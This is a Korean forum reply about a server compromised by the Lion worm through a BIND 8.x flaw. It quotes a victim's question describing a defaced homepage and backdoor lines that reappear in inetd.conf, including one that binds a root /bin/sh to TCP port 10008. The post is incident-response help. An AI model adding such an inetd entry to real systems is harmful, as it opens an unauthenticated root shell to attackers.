bind 8.X 버그를 이용한 lion worm입니다.
이미 유행은 지난건데...
여기 질답게시판을 찾아보시면 참고할 만한 내용이 있습니다.
가장 확실한건 시스템 밀고 다시까는게 좋을 듯...
물론 뭐 찾아서 다 지우면 되지만... 확실한게 좋으니까요...
: 홈페이지 메인화면에
:
: 1i0n Crew
:
: Powered by
:
: c00l ====== H.U.C =====1i0n
:
: 라고 뜸니다.
: 초보라서 살펴봐도 잘모르겠는데,
: inetd.conf 파일끝에
:
: 10008 stream tcp nowait root /bin/sh sh
: asp stream tcp nowait root /sbin/asp
: 라는 줄이 자꾸생기는군요
: 지우면 정상으로 돌아오는데 좀 있으면 또 생기고 하네요.
:
: 무엇인지, 어떻게 해야하는지 좀 알려주세요.
: 리눅스6.0 php4 mysql 이고
: 도메인, dns, 메일서버를 ip주소 1개에 같이 사용합니다. 인천에서 초보드
: 림--whoami